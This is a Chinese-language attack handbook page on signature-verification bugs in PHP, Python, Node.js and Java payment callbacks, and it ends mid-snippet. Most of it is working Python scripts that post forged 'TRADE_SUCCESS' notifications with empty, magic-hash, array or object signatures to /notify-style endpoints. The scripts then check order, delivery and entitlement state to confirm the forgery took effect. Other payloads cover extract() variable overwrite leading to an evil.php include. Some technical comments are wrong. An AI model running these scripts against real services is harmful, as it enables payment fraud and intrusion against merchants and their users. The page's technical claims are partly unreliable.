Skip to content

Signature Implementation Bugs — 签名实现缺陷深度手册 ​

签名算法选对了,但实现写错了 = 签名不存在。本章覆盖各语言实现层面的经典漏洞,每类配有可复现的攻击脚本。

0. 签名验证实现全景 ​

┌─────────────────────────────────────────────────────────────────┐
│                     签名验证实现攻击面                             │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  1. PHP 实现缺陷                                                 │
│     ├─ strcmp/memcmp 数组绕过 (NULL == 0)                        │
│     ├─ Type Juggling ("0e..." == "0e...", 0 == "any")            │
│     ├─ extract/parse_str/$$ 变量覆盖                            │
│     └─ md5/sha1 数组绕过 ([] → NULL)                            │
│                                                                 │
│  2. Python 实现缺陷                                              │
│     ├─ hmac.compare_digest vs == / !=                           │
│     ├─ int()/float() coercision                                  │
│     ├─ 异常导致的默认 allow                                       │
│     └─ 复杂类型序列化差异                                        │
│                                                                 │
│  3. Node.js/JavaScript 实现缺陷                                   │
│     ├─ == vs === 与类型强制                                      │
│     ├─ Buffer vs string 比较                                     │
│     ├─ Timing-safe 缺失                                          │
│     └─ JSON.parse 边角案例                                       │
│                                                                 │
│  4. Java 实现缺陷                                                │
│     ├─ String.equals() vs constant-time                          │
│     ├─ Arrays.equals() 时序                                      │
│     ├─ BigInteger 边角                                           │
│     └─ Null 处理                                                 │
│                                                                 │
│  5. 跨语言通用缺陷                                               │
│     ├─ Early return timing                                       │
│     ├─ Exception → skip verification                             │
│     ├─ Boolean coercion                                          │
│     ├─ Truncation                                                │
│     ├─ Charset/encoding                                          │
│     └─ Null byte truncation                                      │
│                                                                 │
│  6. 时间盲注签名恢复                                              │
│     └─ 完整时序攻击脚本                                           │
│                                                                 │
│  7. 完整攻击路径脚本                                                  │
│     └─ implementation_audit.py                                   │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

0.1 支付回调实现缺陷路由 ​

支付回调里最常见的错误不是算法本身,而是实现层把“签名结果”转成了松比较、异常默认通过、字段覆盖或空值通过。拿到一个 /notify、/callback、/webhook/pay 入口后,先按语言/框架信号选择 payload 家族。

信号优先 payload命中标志下一跳
PHP / Laravel / ThinkPHPsign[]=x, magic hash, trade_status=TRADE_SUCCESSNULL == 0、0e... == 0e...、变量覆盖payment-callback-async.md
Python / Flask / FastAPI缺字段、复杂类型、NaN/Infinity、异常路径异常后仍处理 paid 分支payment-logic.md
Node.js / Express / Next.jssign 数组/对象、Buffer 长度错位、==空对象/数组被当真值或同值payment-bypass.md
Java / Springnull 字段、BigInteger 前导零、编码差异NPE fallback、签名十六进制规范化错位06-replay-nonce.md
任意语言空签名、短签名、截断签名、重复参数响应从 invalid 变 success,订单状态变化../12-payment/payment-logic.md
python
# signature_impl_payment_matrix.py — 回调签名实现缺陷打点
import itertools
import json
import requests

BASE = "https://target"
S = requests.Session()

PATHS = ["/notify", "/callback", "/payment/notify", "/api/payment/notify", "/webhook/pay"]
PAYLOADS = [
    {"out_trade_no": "ORDER_ID", "trade_status": "TRADE_SUCCESS", "total_amount": "0.01", "sign": ""},
    {"out_trade_no": "ORDER_ID", "trade_status": "TRADE_SUCCESS", "total_amount": "0.01", "sign": "0e462097431907509062922748828256"},
    {"out_trade_no": "ORDER_ID", "status": 0, "amount": "0.01", "signature": "x"},
    {"out_trade_no": "ORDER_ID", "paid": True, "sign": ["x"]},
    {"out_trade_no": "ORDER_ID", "trade_status": "TRADE_SUCCESS", "sign": {"value": "x"}},
]
HEADERS = [
    {"Content-Type": "application/json"},
    {"Content-Type": "application/x-www-form-urlencoded"},
    {"X-Signature": ""},
    {"X-Signature": "0e462097431907509062922748828256"},
]

def send(path, body, headers):
    is_json = "json" in headers.get("Content-Type", "")
    return S.post(BASE + path, json=body if is_json else None,
                  data=body if not is_json else None,
                  headers=headers, timeout=10, allow_redirects=False)

for path, body, headers in itertools.product(PATHS, PAYLOADS, HEADERS):
    r = send(path, body, headers)
    print(json.dumps({
        "path": path,
        "payload_keys": list(body),
        "headers": headers,
        "status": r.status_code,
        "len": len(r.text),
        "sample": r.text[:160],
    }, ensure_ascii=False))

0.2 实现缺陷到账本 Oracle ​

实现缺陷的成败不要靠 invalid sign 文案判断。每个 payload 都要绑定一个订单,并读取四类状态:订单、支付流水、发货、用户权益。

Payload 家族语言信号读状态命中标志
sign[]=xPHP strcmp/memcmporders.status, payment_logsNULL/0 路径进入 success
0e...PHP ==orders.amount, payments.statusmagic hash 推进 paid
sign: true/null/{}Node/Python 类型强制delivery/license, me复杂类型被当作已验签
空签名/短签名任意语言notify_logs, wallet短路条件直接发货
异常 payloadPython/Javaerror_msg, entitlements抛错后仍有业务副作用
python
# implementation_ledger_oracle.py
import json
import requests

BASE = "https://target"
S = requests.Session()

def snap(order_id):
    probes = {
        "order": f"/api/orders/{order_id}",
        "payment": f"/api/payment/{order_id}",
        "delivery": f"/api/orders/{order_id}/delivery",
        "me": "/api/me",
    }
    out = {}
    for name, path in probes.items():
        r = S.get(BASE + path, timeout=8, allow_redirects=False)
        out[name] = {"status": r.status_code, "len": len(r.text), "body": r.text[:240]}
    return out

def probe_impl(order_id, payload, content_type="json"):
    before = snap(order_id)
    if content_type == "form":
        r = S.post(BASE + "/notify", data=payload, timeout=10, allow_redirects=False)
    else:
        r = S.post(BASE + "/notify", json=payload, timeout=10, allow_redirects=False)
    after = snap(order_id)
    print(json.dumps({"payload": payload, "response": {"status": r.status_code, "body": r.text[:300]}, "before": before, "after": after}, ensure_ascii=False, indent=2))

probe_impl("ORD1", {"out_trade_no": "ORD1", "trade_status": "TRADE_SUCCESS", "total_amount": "0.01", "sign": ""})
probe_impl("ORD1", {"out_trade_no": "ORD1", "trade_status": "TRADE_SUCCESS", "total_amount": "0.01", "sign": "0e462097431907509062922748828256"})

输出写入 exports/implementation_ledger_oracle.jsonl。若响应 rejected 但 delivery/me 变化,说明副作用发生在异常返回前;若响应 success 但账本不变,转 canonicalization 看业务字段是否未被采用。

1. PHP 实现缺陷 ​

1.1 strcmp/memcmp 数组绕过 ​

PHP 的 strcmp() 以及相关字符串函数在接收到数组参数时返回 NULL,而 NULL == 0 为 true。

php
<?php
// ===== 漏洞代码 =====
// if (strcmp($user_sign, $correct_sign) == 0) { verify(); }

// ===== 利用 =====
// POST sign[]=anything
// strcmp(["anything"], "abc123") → NULL
// NULL == 0 → true → verify() 被调用!
var_dump(strcmp([], "anything"));    // NULL
var_dump(NULL == 0);                 // bool(true)
python
# php_strcmp_bypass.py — strcmp/strcasecmp 全参数绕过
import requests

def test_strcmp_bypass(base_url: str):
    """对每个目标路径测试 strcmp 数组绕过"""
    paths = [
        "/notify", "/callback", "/webhook",
        "/pay/return", "/pay/notify",
        "/api/verify", "/api/callback",
    ]
    # 所有可能的签名字段名
    sign_fields = [
        "sign", "signature", "sig", "token",
        "auth_token", "verify", "checksum",
        "hash", "hmac", "sign_data", "signStr",
    ]

    for path in paths:
        for field in sign_fields:
            # GET 传数组: sign[]=x
            try:
                r = requests.get(base_url + path, params={
                    field: "anything",       # ← 带 [] 的字段
                    "order_id": "TEST",
                    "status": "success",
                    **{f"{field}[]": "x"},    # ← PHP 数组参数
                }, timeout=10, allow_redirects=False)
                if r.status_code == 200 and "fail" not in r.text.lower():
                    key = f"{field}[]=x"
                    print(f"[!] strcmp GET bypass: {path} via {key}  ({r.status_code})")

                # POST JSON: 传数组
                r = requests.post(base_url + path, json={
                    "order_id": "TEST",
                    "status": "paid",
                    field: ["anything"],       # ← JSON 数组
                }, timeout=10)
                if r.status_code == 200 and "fail" not in r.text.lower():
                    print(f"[!] strcmp POST JSON bypass: {path} via {field}=[]  ({r.status_code})")

                # POST form: sign[]=x
                r = requests.post(base_url + path,
                    data={f"{field}[]": "x", "order_id": "TEST", "status": "paid"},
                    headers={"Content-Type": "application/x-www-form-urlencoded"},
                    timeout=10)
                if r.status_code == 200 and "fail" not in r.text.lower():
                    print(f"[!] strcmp POST form bypass: {path} via {field}[]=x  ({r.status_code})")
            except Exception as e:
                pass


# ===== 扩展: 受影响的其他 PHP 函数 =====
AFFECTED_FUNCTIONS = {
    "strcmp":       "strcmp([], 'x')       → NULL == 0 → true",
    "strcasecmp":   "strcasecmp([], 'x')   → NULL == 0 → true",
    "strpos":       "strpos([], 'x')       → NULL == 0 → true  (if check: !== false)",
    "stripos":      "stripos([], 'x')      → NULL == 0 → true",
    "strlen":       "strlen([])            → NULL + warning",
    "in_array":     "in_array('x', [])     → false (safe) 但 in_array(0, ['x']) → true",
    "array_search": "array_search('x', []) → false (safe)",
    "sha1":         "sha1([])              → NULL",
    "md5":          "md5([])               → NULL",
}

1.2 md5/sha1 数组绕过 ​

PHP 的 md5() 和 sha1() 不接受数组参数,传入数组时返回 NULL。如果两个签名都是 NULL,则 NULL === NULL 为 true,完全绕过签名验证。

php
<?php
// ===== 漏洞代码 =====
// if (md5($_POST['data']) === $expected_hash) { ... }
// if (sha1($payload) == $expected_sign) { ... }

// ===== 利用 =====
// POST data[]=anything → md5(["anything"]) → NULL
// 如果 expected_hash 是字符串 "abc123" → NULL === "abc123" → false (严格比较)
// 如果 expected_hash 也是 NULL 或使用 == 比较 → 绕过

// 最强的绕过: 如果两个输入都传数组:
// POST data1[]=x&data2[]=y
// → md5($_POST['data1']) === md5($_POST['data2'])
// → NULL === NULL → true!
python
# php_md5_sha1_array_bypass.py — md5/sha1 数组绕过
def test_hash_array_bypass(base_url: str):
    """针对 md5/sha1 比较的数组绕过"""
    paths = [
        "/notify", "/callback", "/webhook",
        "/verify", "/api/verify", "/api/sign/check",
    ]

    for path in paths:
        # ==== 场景 1: 签名字段传数组 ====
        # 后端: if (md5($_POST['sign']) == $expected)
        for sign_field in ["sign", "signature", "hash", "token"]:
            r = requests.post(base_url + path, json={
                "order_id": "TEST",
                "status": "paid",
                sign_field: ["injected"],       # ← JSON 数组 → md5(["injected"]) → NULL
            }, timeout=10)
            if r.status_code == 200 and "fail" not in r.text.lower():
                print(f"[!] md5 array bypass: {path} via {sign_field}=[]  ({r.status_code})")

        # ==== 场景 2: 两个数组值 ====
        # 后端: if (md5($_POST['a']) === md5($_POST['b']))
        # POST a[]=1&b[]=2 → md5([]) === md5([]) → NULL === NULL → true
        r = requests.post(base_url + path,
            data="a[]=1&b[]=2",
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            timeout=10)
        if r.status_code == 200 and "fail" not in r.text.lower():
            print(f"[!] md5 dual array bypass: {path}  ({r.status_code})")

        # ==== 场景 3: sha1 数组 ====
        r = requests.post(base_url + path, json={
            "data": ["payload"],               # sha1(["payload"]) → NULL
            "expected": "reserved_value",       # == 比较下 NULL == "" → 可能 true
        }, timeout=10)
        if r.status_code == 200 and "fail" not in r.text.lower():
            print(f"[!] sha1 array bypass: {path}  ({r.status_code})")

    # AJAX 返回: (仅用于理解,不执行)
    return """
    要点:
    - md5([]) 返回 NULL, sha1([]) 返回 NULL
    - 如果两个比较值都是 NULL → PHP 8.0 以前 == 为 true, === 也为 true
    - 传 data[]=x 给 md5() → 绕过
    - 使用 PHP 8.0+ 时, string 函数对数组抛出 TypeError 而非 warning
    - 但如果在 try/catch 中: catch {} → 可能 fallback 到允许通过
    """

1.3 PHP Type Juggling — == vs === ​

PHP 的宽松比较(==)是签名实现的最大漏洞源。

python
# php_type_juggling.py — PHP 宽松比较完全利用

# ===== 1. Magic Hash 攻击 =====
# "0e462097..." == "0e848240..." → true (都是 0×10^n)
# 如果签名比较用 ==:   if (md5($input) == $stored_hash)
# 找到一个 md5() 结果以 "0e" 开头的输入 → 永远匹配

MAGIC_HASHES = {
    # === MD5: 原文 → hash → 攻击方法 ===
    "240610708":    "0e462097431907509062922748828256",
    "QNKCDZO":      "0e830400451993494058024219903391",
    "aabg7XSs":     "0e087386482136013740957780965295",
    "aabC9RqS":     "0e041022518165728065344349536299",
    "s878926199a":  "0e545993274517709034328855841020",
    "s155964671a":  "0e342768416822451524974117254469",
    "s214587387a":  "0e848240448830537924465865611904",
    "s1091221200a": "0e940624217856561557816327384675",
    "s1885207154a": "0e509367213418206700842008763514",
    "s1502113478a": "0e861580163291561247404381396064",
    "s1836677006a": "0e481036490867661113260034900752",
    "s1184209335a": "0e072485820392773389523109082030",
    "s1665632922a": "0e731198061491163073197128363787",
    "s1501420657a": "0e342624769297644179755014271379",

    # === SHA1 magic hashes ===
    "aaroZmOk":     "0e66507019969427134894567494305185566735",
    "aaK1STfY":     "0e76658526655756207688271159624026011393",
    "aaO8zKZF":     "0e89257456677279068558073954252716165668",
    "aa3OFF9m":     "0e36977786278517984959260394024281014729",
    "aabGO3lv":     "0e56385541292084511850722099612592363477",
    "abD5L1vd":     "0e92542723894939923592906221721206871645",
}

def find_magic_hash_pair():
    """找出任意两个碰撞的 magic hash → == 比较下永远相等"""
    hashes = list(MAGIC_HASHES.values())
    print(f"[*] Found {len(MAGIC_HASHES)} magic hashes")
    print(f"[*] Any two hash values: {hashes[0][:25]}... == {hashes[1][:25]}... → TRUE")
    print(f"[*] Exploit: POST sign={hashes[0][:25]}... → == comparison bypass")


# ===== 2. 0 == "任意非数字字符串" =====
def test_zero_equality():
    """PHP 中 0 == "any_string" 总是 true"""
    print("\n[*] 0 == string_string:")
    for s in ["paid", "success", "admin", "verified",
              "true", "complete", "delivered", "confirmed"]:
        # PHP: 0 == "paid" → true
        print(f"    0 == \"{s}\" → TRUE")

    # 实际利用场景:
    SCENARIOS = [
        # 场景: 后端 if ($_POST['amount'] == 0) → 免费
        # 如果传入 amount=abc → (int)"abc" → 0 → 0 == 0 → true → 免费!
        {"field": "amount", "payload": "abc", "reason": "(int)\"abc\" → 0"},
        {"field": "amount", "payload": "",     "reason": "(int)\"\" → 0"},
        {"field": "amount", "payload": "null", "reason": "(int)\"null\" → 0"},

        # 场景: if ($row['status'] == $input['status'])
        # 如果 $row['status'] = "paid", $input['status'] = 0
        # → "paid" == 0 → true (PHP < 8.0)
        {"field": "status", "payload": 0,    "reason": "\"paid\" == 0 → true"},
        {"field": "status", "payload": "0",  "reason": "\"paid\" == \"0\" → false (双字符串)"},

        # 场景: if (in_array($input['role'], $allowed_roles))
        # in_array(0, ['admin', 'user']) → true!
        {"field": "role", "payload": 0, "reason": "in_array(0, ['admin']) → true"},
    ]
    for s in SCENARIOS:
        print(f"    {s['field']}={repr(s['payload'])}  // {s['reason']}")


# ===== 3. in_array() 的宽松比较 =====
def test_in_array_juggle():
    """in_array() 默认使用宽松比较"""
    print("\n[*] in_array() type juggling:")
    # in_array(0, ['admin', 'paid_user', 'vip']) → TRUE
    # in_array("0", ['admin']) → FALSE  (字符串比较)
    print("    in_array(0, ['admin'])         → TRUE    ← 绕过!")
    print("    in_array(\"0\", ['admin'])      → FALSE")
    print("    in_array(false, ['admin'])     → TRUE")
    print("    in_array(null, ['admin'])      → TRUE" if False else "")
    print("    in_array('admin', [0])         → TRUE    ← 双向的!")

    # 严格分支:
    print("\n    [strict] in_array($v, $a, true)  // strict=true 第三参数")


# ===== 4. switch/case 宽松比较 =====
def test_switch_juggle():
    """PHP switch 使用 == 比较"""
    print("\n[*] switch/case loose comparison:")
    print("""
    switch ($input) {
        case "paid":   deliver(); break;
        case "admin":  elevate(); break;
    }

    // 输入:
    switch(0)     → 匹配 case "0"?  no → 匹配第一个不匹配的?  no
    // 关键: switch(0) 不会匹配 "paid" 或 "admin"
    // 但是 switch("0abc") → 会被转为 "0" → 可能匹配 case "0"
    """)


MAGIC_HASH_DICT = list(MAGIC_HASHES.values())

1.4 extract() / parse_str() / $$ 变量覆盖 ​

python
# php_variable_overwrite.py — 变量覆盖绕过签名验证

# ===== extract() — 数组到变量的直接覆盖 =====
VULNERABLE_CODE = """
<?php
// 经典漏洞代码:
extract($_POST);

// 现在 $trade_status, $sign, $amount 等变量直接被覆盖
if ($trade_status == 'TRADE_SUCCESS' && verify_sign($sign)) {
    deliver($order_id);
}
// → POST trade_status=TRADE_SUCCESS → 直接覆盖
?>
"""

def test_extract_bypass(base_url: str):
    """利用 extract() 变量覆盖"""
    # 如果后端用了 extract($_POST) 或 extract($_REQUEST):
    OVERWRITES = [
        # 支付状态
        {"trade_status": "TRADE_SUCCESS"},
        {"status": "paid"},
        {"payment_status": "completed"},
        {"order_status": "delivered"},

        # 管理员字段
        {"admin": "1"},
        {"is_admin": True},
        {"role": "admin"},

        # 验证绕过
        {"verified": True, "skip_verification": True},
        {"sign_verified": True},
        {"_validate": False},
        {"validate_signature": False},

        # 金额覆盖
        {"amount": "0.01", "total_amount": "0.01",
         "price": "0.01"},

        # 覆盖 verify_sign 函数结果 (如果 extract 在 include 之前)
        {"verify_sign": "return true;"},  # 很少见,但可能
    ]

    paths = [
        "/notify", "/callback", "/webhook",
        "/pay/notify", "/payment/notify",
        "/return", "/api/callback",
    ]

    for path in paths:
        for data in OVERWRITES:
            # extract($_POST) 接收 form data 或 JSON (取决于框架)
            r = requests.post(base_url + path, data=data, timeout=10)
            if r.status_code == 200 and "fail" not in r.text.lower():
                print(f"[!] extract bypass: {path} | {data}  → {r.status_code}")

            # JSON 形式
            r = requests.post(base_url + path, json=data, timeout=10)
            if r.status_code == 200 and "fail" not in r.text.lower():
                print(f"[!] extract JSON bypass: {path} | {data}  → {r.status_code}")


# ===== parse_str() — 无第二参数 =====
def test_parse_str_bypass():
    """parse_str() 无第二参数时 = extract()"""
    print("""
    // ===== 漏洞代码 =====
    $query_string = $_SERVER['QUERY_STRING'];
    parse_str($query_string);       // ← 无第二参数!
    // 现在 $trade_status, $sign 都直接从 URL 参数变成变量

    // ===== 利用 =====
    // GET /notify?trade_status=TRADE_SUCCESS&sign=anything
    // → $trade_status = "TRADE_SUCCESS"
    // → $sign = "anything"
    // → if ($trade_status == 'TRADE_SUCCESS' && verify_sign($sign)) → 绕过

    // ===== parse_str 的特殊行为 =====
    // parse_str("a[0]=1&a[1]=2") → 创建数组 $a
    // parse_str("a.b=1")         → 创建 $a_b = "1" (点变为下划线)
    // 但 parse_str("a.b=1") in PHP 8.0 → 行为不同!
    """)


# ===== $$ 变量覆盖 (register_globals 遗风) =====
def test_dollar_dollar_bypass():
    """$$ 变量覆盖绕过"""
    print("""
    // ===== 漏洞代码 =====
    // 来自遗留代码或隐式传参:
    foreach ($_POST as $key => $value) {
        $$key = $value;                   // ← 变量变量覆盖!
    }

    // 或更隐蔽的:
    // 某些框架的 extract 行为

    // 甚至可以是:
    // $_GET → parse_str → extract → 多层嵌套

    // ===== 利用 =====
    // POST GLOBALS[admin]=1 → $$key = $GLOBALS; $$GLOBALS 不可能...
    // 但是 _POST[0]=value → $$key 就是 $_POST[0]
    // 真正有用的是:

    // 1. 覆盖签名校验函数声明? 不可能(函数不能覆盖)
    // 2. 覆盖配置变量:
    //    POST db_pass=test → $db_pass 被覆盖
    // 3. 覆盖 include 路径:
    //    POST config_file=./evil.php → include $config_file → RCE
    """)

2. Python 实现缺陷 ​

2.1 hmac.compare_digest vs == / != ​

python
# python_timing.py — Python 签名比较缺陷

import hmac
import hashlib
import time
import statistics

# ===== 漏洞模式 1: 直接用 == 比较 =====
VULN_CODE_1 = """
# 漏洞: 用 == 比较签名 → 不防时序
if user_sign == correct_sign:
    verify()
"""
# 这是最简单的时序攻击入口


# ===== 漏洞模式 2: 用 != 比较 =====
VULN_CODE_2 = """
# 漏洞: 用 != 比较 → 同样有时序问题
if user_sign != correct_sign:
    return "invalid"
else:
    verify()
"""


# ===== 漏洞模式 3: 用 len() 提前退出 =====
VULN_CODE_3 = """
# 漏洞: 先比较长度 → 泄漏长度!
if len(user_sign) != len(correct_sign):
    return "invalid"            # ← 长度不同时返回更快
# → 攻击者可以推断正确签名的长度!
"""


# ===== 严格比较分支 =====
SAFE_CODE = """
# strict: hmac.compare_digest() 是恒定时间的
if hmac.compare_digest(user_sign, correct_sign):
    verify()
else:
    return "invalid"
"""


# ===== 实测验证 =====
def demo_timing_difference():
    """演示 == 和 compare_digest 的时序差异"""
    correct = b"a" * 32
    wrong_first = b"b" + b"a" * 31
    wrong_last  = b"a" * 31 + b"b"

    def eq_compare(sig):
        for i in range(100000):
            _ = sig == correct

    def digest_compare(sig):
        for i in range(100000):
            _ = hmac.compare_digest(sig, correct)

    # == 比较的时序差异:
    t1 = time.perf_counter()
    eq_compare(wrong_first)   # 第一个字节就不同,很快返回
    t2 = time.perf_counter()
    eq_compare(wrong_last)    # 最后一个字节才不同,慢很多
    t3 = time.perf_counter()

    first_diff = t2 - t1
    last_diff  = t3 - t2
    print(f"[==] first byte diff: {first_diff:.4f}s")
    print(f"[==] last byte diff:  {last_diff:.4f}s")
    print(f"[==] timing leak:     {last_diff - first_diff:.4f}s ← 可测量!")

    t1 = time.perf_counter()
    digest_compare(wrong_first)
    t2 = time.perf_counter()
    digest_compare(wrong_last)
    t3 = time.perf_counter()
    print(f"[digest] first byte diff: {t2-t1:.4f}s")
    print(f"[digest] last byte diff:  {t3-t2:.4f}s")
    print(f"[digest] timing leak:     {t3-t2-(t2-t1):.4f}s ← 恒定时间")


if __name__ == "__main__":
    demo_timing_difference()

2.2 int() / float() 类型强制异常 ​

python
# python_type_coercion.py — Python 类型强制绕过

# ===== 漏洞模式: int() 转换后的比较 =====
def python_int_coercion():
    """Python int() 类型强制与签名绕过"""

    # ——— 场景 1: 金额比较 ———
    # if float(user_amount) == order_amount:
    # float("0") → 0.0
    # float("0.00") → 0.0
    # float("1e-9") → 1e-9 (不等于 0!)
    # float("NaN") → nan (nan == nan → False!)
    # float("Infinity") → inf
    # float("") → ValueError!

    print("Python float coercion bypasses:")
    cases = {
        "0":         float("0") == 0,
        "0.00":      float("0.00") == 0,
        "0e0":       float("0e0") == 0,
        "0e999":     float("0e999") == 0,  # overflow to inf!
        "NaN":       float("NaN") == float("NaN"),  # False!
        "inf":       float("inf") > 0,
    }
    for val, result in cases.items():
        print(f"  float(\"{val}\") == 0? {result}")

    # ——— 场景 2: int() 强转绕过 ———
    # int("0x64") → ValueError (Python, 不像 PHP 解析 hex)
    # int("0b1010") → 10 (Python 解析 binary)
    # int("0o144") → 100 (Python 解析 octal)
    # int("10_000") → 10000 (underscore)
    # int("+100") → 100
    # int(" 100 ") → 100 (strip whitespace)
    # int("1_0_0") → 100
    print("\nPython int() edge cases:")
    for val in ["0x64", "0b1010", "0o144", "10_000", "+100", " 100 "]:
        try:
            result = int(val)
            print(f"  int(\"{val}\") → {result}")
        except ValueError:
            print(f"  int(\"{val}\") → ValueError")

    # ——— 场景 3: Decimal 与 float 混用 ———
    from decimal import Decimal, getcontext
    getcontext().prec = 50

    # float 0.1 不是精确的 0.1
    # Decimal("0.1") 是精确的
    # 但比较时: Decimal("0.1") == 0.1 → TypeError 或 False
    # 如果 try/except 没处理: 后面的逻辑可能 default allow

    print("\nDecimal gotchas:")
    print(f"  Decimal('0.1') == float(0.1)   → {Decimal('0.1') == 0.1}")
    # 输出: False (类型不同)
    print(f"  Decimal('0.1') == Decimal(0.1) → {Decimal('0.1') == Decimal(0.1)}")
    # 输出: False (float 0.1 不精确)


# ===== 漏洞模式: 异常处理导致默认 allow =====
def python_exception_default_allow():
    """异常导致签名验证被跳过"""
    print("""
    // ==== 漏洞代码 ====
    def verify_sign(user_input, secret):
        try:
            expected = compute_hmac(user_input['data'], secret)
            return user_input['sign'] == expected
        except Exception:
            return True  # ← 异常时默认允许!
    """)

    # 触发异常的 payload:
    TRIGGERS = [
        # TypeError: 字符串 + dict
        {"data": {"nested": "object"}, "sign": "x"},

        # AttributeError: NoneType
        {"data": None, "sign": "x"},

        # KeyError: 缺少 key
        {"other_field": "x", "sign": "y"},

        # ValueError: 转换失败
        {"data": float('nan'), "sign": "z"},

        # UnicodeDecodeError
        {"data": b"\xff\xfe", "sign": "w"},

        # RecursionError: 深度嵌套
        {"data": {"x": {"y": {"z": {"w": {}}}}}, "sign": "v"},

        # OverflowError
        {"data": 10**1000, "sign": "u"},

        # MemoryError: 超大 payload
        {"data": "x" * 10**8, "sign": "t"},
    ]

    for t in TRIGGERS:
        try:
            # 模拟: 校验前尝试解析/处理 payload → 异常 → 默认 allow
            # 如果后端 catch Exception: return True
            data = t["data"]
            sign = t["sign"]
            # ... 实际校验 ...
            _ = sign == "expected"  # 这行不会执行到
        except Exception as e:
            print(f"  Exception: {type(e).__name__} → 默认 allow!")
            # 这就是漏洞: 异常时返回 True


# ===== 漏洞模式: None vs 空字符串 =====
def python_none_vs_empty():
    """None 与空字符串的混淆"""
    print("""
    // Python 中 None 和 "" 的比较:

    None == ""      → False  (不会混淆)
    bool(None)      → False
    bool("")        → False
    str(None)       → "None"  ← 可能被哈希!
    str("")         → ""

    // 陷阱: str(None) → "None" 作为 HMAC 输入
    // 如果某个字段是 None, 但被 str() 后签名:

    import hmac
    data = str(None)  # "None"
    sign = hmac.new(key, data.encode(), hashlib.sha256).hexdigest()
    // 攻击者可以重现这个签名!
    """)


# ===== 漏洞模式: 复杂类型序列化差异 =====
def python_serialization_gotchas():
    """复杂类型转换为字符串进行签名时的差异"""
    print("""
    // Python 序列化签名时的问题:

    // 1. dict 顺序:
    // json.dumps({"a":1, "b":2})  ≠  json.dumps({"b":2, "a":1})
    // 但 dict 在 Python 3.7+ 有序 → 实际中可能会搞错

    // 2. 嵌套对象 str() 差异:
    str({"a": 1})           → "{'a': 1}"
    json.dumps({"a": 1})    → '{"a": 1}'

    // 3. bool 的子类:
    True == 1     → True
    False == 0    → True
    hash(str(True))  ≠  hash(str(1))

    // 4. tuple vs list:
    str((1,2))    → "(1, 2)"
    str([1,2])    → "[1, 2]"
    // 如果签名时用 str() 但验证时用 json, 签名不一致
    """)

2.3 Secret 泄漏与签名伪造 ​

python
# python_secret_leak.py — Python 签名密钥泄露

def python_secret_exposure():
    """Python 常见签名密钥泄露场景"""
    print("""
    // Secret 泄露路径:

    // 1. 环境变量泄露 (debug 端点)
    os.environ.get('SECRET_KEY')  // /debug/env, /info, /status

    // 2. Python 模块的 __pycache__ 缓存
    // 如果 secret 是常量: 在 .pyc 里

    // 3. Django settings 泄露
    // from django.conf import settings
    // settings.SECRET_KEY  // 通过 debug 500 页、Django debug toolbar

    // 4. Flask debug 模式
    // app.run(debug=True)  // 暴露控制台

    // 5. 异常回溯中的参数
    // ValueError: ... 可能在日志中打印了签名参数

    // 6. Pickle 反序列化
    // pickle.loads(user_input)  → 可以读取任意属性 → RCE
    """)

    # 真实场景:
    print("    FastAPI /docs  → API 文档泄露签名参数")
    print("    Django /admin/ → 管理界面")
    print("    Flask /console → Werkzeug debug 控制台")
    print("    .env / config.py / docker-compose.yml 泄漏")

3. Node.js / JavaScript 实现缺陷 ​

3.1 === vs == 与类型强制 ​

javascript
// js_type_coercion.js — JavaScript 签名比较缺陷

// ===== 1. == 与 === 的区别 =====
console.log("=== JS == vs === in signature verification ===");

// === strict (类型+值都检查)
// == 危险 (类型强制)

// 以下 == 比较全部为 true:
console.log("'' == false:      ", '' == false);       // true
console.log("'0' == false:     ", '0' == false);      // true
console.log("0 == '':          ", 0 == '');           // true
console.log("0 == '0':         ", 0 == '0');          // true
console.log("[] == false:      ", [] == false);        // true
console.log("null == undefined:", null == undefined);  // true
console.log("[1] == 1:         ", [1] == 1);          // true
console.log("[1,2] == NaN:     ", [1,2] == NaN);      // false (NaN != 一切)

// 致命场景:
// if (user_input.sign == stored_sign) {
//   user_input.sign = "0" → "0" == <任何以数字开头的签名?> 不, 但:
//   if (stored_sign == null)  →  user_input.sign == null → true!
//   if (stored_sign == false) →  "0" == false → true!
// }

// ===== 2. parseInt/parseFloat 的诡异行为 =====
console.log("\n=== parseInt/parseFloat 边角 ===");

console.log('parseInt("0x64"):     ', parseInt("0x64"));     // 100
console.log('parseInt("  100  "):  ', parseInt("  100  "));  // 100
console.log('parseInt("0e0"):      ', parseInt("0e0"));      // 0
console.log('parseInt("0.1e1"):    ', parseInt("0.1e1"));    // 0
console.log('parseInt("08"):       ', parseInt("08"));       // 8 (ES5 strict 前是 0)
console.log('parseFloat("0.1e1"):  ', parseFloat("0.1e1"));  // 1
console.log('parseFloat("NaN"):    ', parseFloat("NaN"));    // NaN
console.log('parseFloat("Infinity"):', parseFloat("Infinity")); // Infinity

// ===== 3. Array → String coercion =====
console.log("\n=== Array toString coercion ===");
console.log('["a","b"].toString():   ', ["a","b"].toString());  // "a,b"
console.log('[].toString():          ', [].toString());         // ""  ← 空数组变空字符串!
console.log('[null].toString():      ', [null].toString());     // ""
console.log('[undefined].toString(): ', [undefined].toString());// ""
console.log('[[],[]].toString():     ', [[],[]].toString());    // ","
console.log('[1,[2,3]].toString():   ', [1,[2,3]].toString());  // "1,2,3"

// 利用: 如果签名对 JSON body 做 JSON.stringify(body) 然后 HMAC
// body = { amount: 100, items: [] }
// JSON.stringify(body) → '{"amount":100,"items":[]}'
// 但如果 items 是嵌套数组, toString() 的不可预测行为

// ===== 4. Object → string coercion =====
console.log("\n=== Object toString ===");
console.log('({}).toString():       ', ({}).toString());           // "[object Object]"
console.log('({a:1}).toString():    ', ({a:1}).toString());        // "[object Object]"
console.log('Object([1,2,3]):       ', Object([1,2,3]).toString()); // "1,2,3"

3.2 Buffer vs String 比较 ​

javascript
// js_buffer_comparison.js — Buffer/string 比较陷阱

// ===== 1. Buffer.from() 编码差异 =====
console.log("=== Buffer 编码 ===");

// 默认 utf8
const buf1 = Buffer.from("hello", "utf8");   // <Buffer 68 65 6c 6c 6f>
const buf2 = Buffer.from("hello", "hex");     // <Buffer > (解码错误)
const buf3 = Buffer.from("hello", "base64");  // <Buffer 85> (base64 decode)
const buf4 = Buffer.from("hello", "latin1");  // <Buffer 68 65 6c 6c 6f>

// 关键: 不同的编码产生不同的 buffer!
// 如果签名生成时用 utf8, 验证时用 hex → 签名不一致!

// ===== 2. Buffer 和 string 的 == 比较 =====
const buf = Buffer.from("abc123");
